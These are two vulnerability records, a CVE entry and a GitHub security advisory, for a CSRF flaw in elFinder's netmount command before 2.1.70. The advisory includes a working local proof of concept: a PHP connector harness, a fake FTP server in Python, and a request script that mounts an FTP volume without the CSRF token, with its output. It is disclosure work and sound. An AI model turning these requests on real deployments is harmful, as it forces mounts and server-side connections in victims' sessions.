{
  "affected": [
    {
      "affectedData": [
        {
          "product": "elFinder",
          "vendor": "Studio-42",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.1.70"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "elFinder is an open-source file manager for web, written in JavaScript using jQuery UI. Prior to 2.1.70, the netmount command is omitted from elFinderConnector::$csrfProtectedCmds in php/elFinderConnector.class.php, so validateCsrfToken() is not called for this state-changing operation. In the shipped php/connector.minimal.php-dist configuration, FTP network mounts are enabled by default, and attacker-controlled protocol, host, path, port, user, pass, alias, and options arguments flow through elFinder::netmount() in php/elFinder.class.php to php/elFinderVolumeFTP.class.php. A cross-site request can therefore persist an attacker-chosen FTP mount in the victim\u0027s session, cause the PHP server to connect to an attacker-chosen FTP host and port, and send supplied credentials without an X-elFinder-CSRF token. This issue is fixed in version 2.1.70."
    }
  ],
  "id": "CVE-2026-81890",
  "lastModified": "2026-09-09T21:09:13.080",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.4,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 2.5,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-81890",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-09-01T13:54:45.736717Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-31T21:17:52.603",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Studio-42/elFinder/commit/31284facd033e081b2b69c08873b39c8a413b762"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Studio-42/elFinder/commit/36d40fff12222ad4c229d8889d8ed3fd3dbf0415"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Studio-42/elFinder/releases/tag/2.1.70"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Studio-42/elFinder/security/advisories/GHSA-9hjf-w35w-6vx2"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/Studio-42/elFinder/security/advisories/GHSA-9hjf-w35w-6vx2"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-352"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "studio-42/elfinder"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.70"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-81890"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-02T14:37:36Z",
    "nvd_published_at": "2026-08-31T21:17:52Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe PHP connector\u0027s CSRF gate protects many mutating commands, but it does not protect the `netmount` connector command. In the shipped minimal connector setup, FTP network mounting is enabled by default, so a cross-site request can force an elFinder instance to mount an attacker-chosen FTP endpoint in the victim\u0027s session and cause the server to initiate an outbound FTP connection without the `X-elFinder-CSRF` token that other state-changing commands require.\n\nThis was confirmed locally against `Studio-42/elFinder` at commit `ec5f811dc321a053085b994966f553eaaab58721`, corresponding to the repository\u0027s documented stable release `2.1.69` / API revision `2.1.69`.\n\n### Details\nThe connector has an explicit allowlist of commands that require CSRF validation in `php/elFinderConnector.class.php:79-92`. That list includes state-changing commands such as `mkdir`, `mkfile`, `paste`, `put`, `rename`, `rm`, `upload`, `archive`, `extract`, `resize`, and `chmod`, but it omits `netmount`. The enforcement point in `php/elFinderConnector.class.php:376-381` calls `validateCsrfToken()` only when the command appears in that list.\n\n`netmount` is a first-class connector command declared in `php/elFinder.class.php:248-278`, specifically `php/elFinder.class.php:263`, with attacker-controlled `protocol`, `host`, `path`, `port`, `user`, `pass`, `alias`, and `options` arguments. Its implementation in `php/elFinder.class.php:1560-1660` resolves the requested network driver, copies request arguments into a volume options array, calls the driver\u0027s `netmountPrepare()`, mounts the volume online, and persists successful network volume options in the session with `saveNetVolumes()` at `php/elFinder.class.php:1642-1649`.\n\nThe documented minimal installation path tells users to rename `/php/connector.minimal.php-dist` and load elFinder (`README.md:105-120`). That shipped minimal connector explicitly enables FTP network mounts at `php/connector.minimal.php-dist:42-43`:\n\n```php\n// // Enable FTP connector netmount\nelFinder::$netDrivers[\u0027ftp\u0027] = \u0027FTP\u0027;\n```\n\nThe FTP driver then uses request-controlled connection parameters. `php/elFinderVolumeFTP.class.php:164-215` initializes the host, port, user, password, path, and netmount key, and `php/elFinderVolumeFTP.class.php:264-327` calls `ftp_connect()` / `ftp_ssl_connect()`, `ftp_login()`, `ftp_raw()`, `ftp_chdir()`, `ftp_pwd()`, `ftp_pasv()`, `FEAT`, and `MLST` against the supplied endpoint. The local proof showed those FTP commands reaching a fake local FTP server.\n\nFalse-positive checks performed:\n\n- `mkdir` without the CSRF header was rejected with HTTP 403 and `csrfReload:true`, proving the harness exercised the connector\u0027s CSRF gate.\n- `netmount` without the same CSRF header succeeded with HTTP 200 and an `added` network-volume response.\n- The fake FTP server observed an inbound connection and FTP command sequence from the PHP process.\n- No custom application authentication, external service, public infrastructure, or destructive action was used.\n- Sibling netmount drivers were reviewed; FTP is the relevant default/common exposure because the minimal connector enables it, while SFTP/cloud drivers require extra configuration or credentials.\n\nCandidate score: 16/18 under the audit rubric. Reachability 2, attacker control 2, privilege required 2, sink impact 2, mitigation weakness 2, default exposure 2, safe reproduction 2, static certainty 2, false-positive resistance 2. The exploitability gate is satisfied for this issue as a confirmed CSRF/state-change and server-side FTP connection primitive in the shipped minimal connector configuration.\n\n### PoC\nThe following safe local reproduction uses only a disposable connector under `/tmp`, the repository\u0027s PHP classes, PHP\u0027s built-in local web server, and a fake FTP listener bound to `127.0.0.1`. It does not contact external systems.\n\n1. From a clean checkout of `Studio-42/elFinder` at commit `ec5f811dc321a053085b994966f553eaaab58721`, create a disposable harness:\n\n```sh\nmkdir -p /tmp/elfinder-csrf-poc-claude/www/files/.trash/.tmb /tmp/elfinder-csrf-poc-claude/logs\ncat \u003e /tmp/elfinder-csrf-poc-claude/www/connector.php \u003c\u003c\u0027PHP\u0027\n\u003c?php\nerror_reporting(E_ALL);\nrequire \u0027/path/to/elFinder/php/autoload.php\u0027;\n\nelFinder::$netDrivers[\u0027ftp\u0027] = \u0027FTP\u0027;\n\nfunction access($attr, $path, $data, $volume, $isDir, $relpath) {\n    $basename = basename($path);\n    return $basename[0] === \u0027.\u0027 \u0026\u0026 strlen($relpath) !== 1\n        ? !($attr == \u0027read\u0027 || $attr == \u0027write\u0027)\n        : null;\n}\n\n$opts = array(\n    \u0027roots\u0027 =\u003e array(\n        array(\n            \u0027driver\u0027 =\u003e \u0027LocalFileSystem\u0027,\n            \u0027path\u0027 =\u003e __DIR__ . \u0027/files/\u0027,\n            \u0027URL\u0027 =\u003e \u0027/files/\u0027,\n            \u0027trashHash\u0027 =\u003e \u0027t1_Lw\u0027,\n            \u0027uploadDeny\u0027 =\u003e array(\u0027all\u0027),\n            \u0027uploadAllow\u0027 =\u003e array(\u0027text/plain\u0027),\n            \u0027uploadOrder\u0027 =\u003e array(\u0027deny\u0027, \u0027allow\u0027),\n            \u0027accessControl\u0027 =\u003e \u0027access\u0027\n        ),\n        array(\n            \u0027id\u0027 =\u003e \u00271\u0027,\n            \u0027driver\u0027 =\u003e \u0027Trash\u0027,\n            \u0027path\u0027 =\u003e __DIR__ . \u0027/files/.trash/\u0027,\n            \u0027tmbURL\u0027 =\u003e \u0027/files/.trash/.tmb/\u0027,\n            \u0027uploadDeny\u0027 =\u003e array(\u0027all\u0027),\n            \u0027uploadAllow\u0027 =\u003e array(\u0027text/plain\u0027),\n            \u0027uploadOrder\u0027 =\u003e array(\u0027deny\u0027, \u0027allow\u0027),\n            \u0027accessControl\u0027 =\u003e \u0027access\u0027\n        ),\n    )\n);\n\n$connector = new elFinderConnector(new elFinder($opts));\n$connector-\u003erun();\nPHP\n```\n\n2. Start this minimal fake FTP server as `/tmp/elfinder-csrf-poc-claude/fake_ftp.py`:\n\n```python\n#!/usr/bin/env python3\nimport socket, sys\nHOST = \u0027127.0.0.1\u0027\nPORT = int(sys.argv[1])\nLOG = sys.argv[2]\ndef log(line):\n    with open(LOG, \u0027a\u0027, encoding=\u0027utf-8\u0027) as f:\n        f.write(line + \u0027\\n\u0027)\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    s.bind((HOST, PORT))\n    s.listen(5)\n    log(f\u0027LISTEN {HOST}:{PORT}\u0027)\n    while True:\n        conn, addr = s.accept()\n        with conn:\n            log(f\u0027CONNECT {addr[0]}:{addr[1]}\u0027)\n            conn.sendall(b\u0027220 fake ftp ready\\r\\n\u0027)\n            while True:\n                data = b\u0027\u0027\n                while not data.endswith(b\u0027\\n\u0027):\n                    chunk = conn.recv(1)\n                    if not chunk:\n                        log(\u0027CLOSE\u0027)\n                        break\n                    data += chunk\n                if not data:\n                    break\n                line = data.decode(\u0027latin-1\u0027, errors=\u0027replace\u0027).strip()\n                log(\u0027CMD \u0027 + line)\n                cmd = line.split(\u0027 \u0027, 1)[0].upper()\n                if cmd == \u0027USER\u0027: conn.sendall(b\u0027331 password required\\r\\n\u0027)\n                elif cmd == \u0027PASS\u0027: conn.sendall(b\u0027230 login ok\\r\\n\u0027)\n                elif cmd.startswith(\u0027OPTS\u0027): conn.sendall(b\u0027200 ok\\r\\n\u0027)\n                elif cmd == \u0027HELP\u0027: conn.sendall(b\u0027214 fake help\\r\\n\u0027)\n                elif cmd == \u0027CWD\u0027: conn.sendall(b\u0027250 cwd ok\\r\\n\u0027)\n                elif cmd == \u0027PWD\u0027: conn.sendall(b\u0027257 \"/\"\\r\\n\u0027)\n                elif cmd == \u0027FEAT\u0027: conn.sendall(b\u0027211-Features\\r\\n MLST type*;size*;modify*;perm*;\\r\\n211 End\\r\\n\u0027)\n                elif cmd == \u0027MLST\u0027: conn.sendall(b\u0027250-Listing /\\r\\n type=dir;size=0;modify=20260101000000;perm=el; /\\r\\n250 End\\r\\n\u0027)\n                elif cmd == \u0027PASV\u0027: conn.sendall(b\u0027502 passive unavailable\\r\\n\u0027)\n                elif cmd == \u0027QUIT\u0027:\n                    conn.sendall(b\u0027221 bye\\r\\n\u0027)\n                    break\n                else: conn.sendall(b\u0027200 ok\\r\\n\u0027)\n```\n\n3. Start the local services:\n\n```sh\nphp -S 127.0.0.1:8765 -t /tmp/elfinder-csrf-poc-claude/www\npython3 /tmp/elfinder-csrf-poc-claude/fake_ftp.py 21210 /tmp/elfinder-csrf-poc-claude/logs/ftp.log\n```\n\n4. In another shell, run this control-and-positive test. It intentionally omits `X-elFinder-CSRF` from both the protected `mkdir` control request and the `netmount` request:\n\n```python\nimport json, urllib.parse, urllib.request, urllib.error, http.cookiejar\nbase = \u0027http://127.0.0.1:8765/connector.php\u0027\nlog = \u0027/tmp/elfinder-csrf-poc-claude/logs/ftp.log\u0027\nopen(log, \u0027w\u0027, encoding=\u0027utf-8\u0027).close()\ncj = http.cookiejar.CookieJar()\nopener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))\ndef request(params, timeout=12):\n    url = base + \u0027?\u0027 + urllib.parse.urlencode(params)\n    try:\n        with opener.open(url, timeout=timeout) as resp:\n            return resp.status, resp.read().decode(\u0027utf-8\u0027, errors=\u0027replace\u0027)\n    except urllib.error.HTTPError as e:\n        return e.code, e.read().decode(\u0027utf-8\u0027, errors=\u0027replace\u0027)\nstatus, body = request({\u0027cmd\u0027:\u0027open\u0027,\u0027init\u0027:\u00271\u0027,\u0027target\u0027:\u0027l1_Lw\u0027})\nopened = json.loads(body)\ntarget = opened.get(\u0027cwd\u0027, {}).get(\u0027hash\u0027, \u0027l1_Lw\u0027)\nprint(\u0027OPEN_STATUS=\u0027 + str(status))\nprint(\u0027OPEN_HAS_CSRF=\u0027 + str(\u0027\"csrf\"\u0027 in body))\nstatus, body = request({\u0027cmd\u0027:\u0027mkdir\u0027,\u0027target\u0027:target,\u0027name\u0027:\u0027csrf-control-no-header\u0027})\nprint(\u0027CONTROL_MKDIR_WITHOUT_CSRF_STATUS=\u0027 + str(status))\nprint(\u0027CONTROL_MKDIR_WITHOUT_CSRF_BODY=\u0027 + body.replace(\u0027\\n\u0027, \u0027 \u0027)[:160])\nstatus, body = request({\u0027cmd\u0027:\u0027netmount\u0027,\u0027protocol\u0027:\u0027ftp\u0027,\u0027host\u0027:\u0027127.0.0.1\u0027,\u0027port\u0027:\u002721210\u0027,\u0027path\u0027:\u0027/\u0027,\u0027user\u0027:\u0027anonymous\u0027,\u0027pass\u0027:\u0027\u0027})\nprint(\u0027NETMOUNT_WITHOUT_CSRF_STATUS=\u0027 + str(status))\nprint(\u0027NETMOUNT_WITHOUT_CSRF_HAS_ADDED=\u0027 + str(\u0027\"added\"\u0027 in body))\nprint(\u0027NETMOUNT_WITHOUT_CSRF_BODY=\u0027 + body.replace(\u0027\\n\u0027, \u0027 \u0027)[:260])\nprint(\u0027FTP_LOG=\u0027)\nprint(open(log, encoding=\u0027utf-8\u0027, errors=\u0027replace\u0027).read().strip())\n```\n\nObserved output from the final local re-run in this environment:\n\n```text\nOPEN_STATUS=200\nOPEN_HAS_CSRF=True\nCONTROL_MKDIR_WITHOUT_CSRF_STATUS=403\nCONTROL_MKDIR_WITHOUT_CSRF_BODY={\"error\":[\"errPerm\",\"Invalid request. Please reload.\"],\"csrfReload\":true}\nNETMOUNT_WITHOUT_CSRF_STATUS=200\nNETMOUNT_WITHOUT_CSRF_HAS_ADDED=True\nNETMOUNT_WITHOUT_CSRF_BODY={\"added\":[{\"mime\":\"directory\",\"size\":0,\"ts\":1767225600,\"read\":1,\"write\":0,\"locked\":1,\"hash\":\"fnm1_Lw\",\"name\":\"anonymous@127.0.0.1\",\"rootRev\":\"\",\"options\":{\"path\":\"\",\"url\":\"\",\"tmbUrl\":\"self\",\"disabled\":[],\"separator\":\"\\/\",\"copyOverwrite\":1,\"uploadOverwrite\":1,\nFTP_LOG=\nCONNECT 127.0.0.1:37496\nCMD USER anonymous\nCMD PASS\nCMD OPTS UTF8 ON\nCMD HELP\nCMD epsv4 off\nCMD PASV\nCMD CWD /\nCMD PWD\nCMD FEAT\nCMD MLST /\nCLOSE\n```\n\nThe negative/control case is the `mkdir` request: without `X-elFinder-CSRF`, it returns HTTP 403 and `csrfReload:true`. The positive case is `netmount`: without `X-elFinder-CSRF`, it returns HTTP 200 with `added` and the fake FTP server logs the server-side FTP connection.\n\nCleanup:\n\n```sh\n# Stop the two local server processes, then remove the disposable harness.\nrm -rf /tmp/elfinder-csrf-poc-claude\n```\n\n### Impact\nAn attacker who can cause a victim browser to request the connector can bypass the intended CSRF protection for `netmount`. In the shipped minimal connector configuration, this lets the attacker:\n\n- force the victim\u0027s elFinder session to persist an attacker-chosen FTP network volume;\n- cause the PHP server to initiate an outbound FTP connection to an attacker-chosen host and port;\n- send attacker-supplied FTP username/password values to that endpoint; and\n- expose the victim\u0027s later file-manager UI to the mounted remote volume.\n\nThe proof demonstrates a security boundary mismatch: the same connector rejects another mutating command without the CSRF header but accepts `netmount` without it. The observed server-side FTP command sequence confirms that the request reaches the network sink, not just a harmless JSON code path.\n\nThe impact is bounded by deployment and browser behavior. In a deployment with no surrounding authentication, direct callers may be able to use the connector normally; in the common authenticated-file-manager deployment model, the missing `netmount` CSRF check lets a cross-site attacker perform this state-changing/server-side network action in the victim\u0027s authenticated session.\n\n### Suggested remediation\nRequire CSRF validation for `netmount`, including `protocol=netunmount`, before executing the command. The minimal fix is to add `netmount` to `elFinderConnector::$csrfProtectedCmds` in `php/elFinderConnector.class.php`.\n\nAlso consider adding defense-in-depth validation for network mount destinations, especially FTP/SFTP hostnames and IPs, because the current FTP netmount path accepts local/private/link-local addresses unlike URL upload validation. If local/private network mounts are intentionally supported, expose that as an explicit opt-in connector configuration rather than the default sample behavior.\n\nSuggested regression tests:\n\n- A request to `cmd=netmount\u0026protocol=ftp\u0026host=127.0.0.1\u0026port=\u003clocal-port\u003e` without `X-elFinder-CSRF` must return HTTP 403 and must not connect to the FTP listener.\n- The same request with the valid token from `cmd=open\u0026init=1` should preserve intended behavior for authorized users.\n- `protocol=netunmount` should also reject missing/invalid CSRF tokens.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R\u0026D)\n- Nguyen Huy Vu Dung from VinSOC Labs (AppSec)",
  "id": "GHSA-9hjf-w35w-6vx2",
  "modified": "2026-09-02T14:37:36Z",
  "published": "2026-09-02T14:37:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Studio-42/elFinder/security/advisories/GHSA-9hjf-w35w-6vx2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81890"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Studio-42/elFinder/commit/31284facd033e081b2b69c08873b39c8a413b762"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Studio-42/elFinder/commit/36d40fff12222ad4c229d8889d8ed3fd3dbf0415"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Studio-42/elFinder"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Studio-42/elFinder/releases/tag/2.1.70"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "elFinder: CSRF in netmount allows forced FTP mounts and server-side FTP connections"
}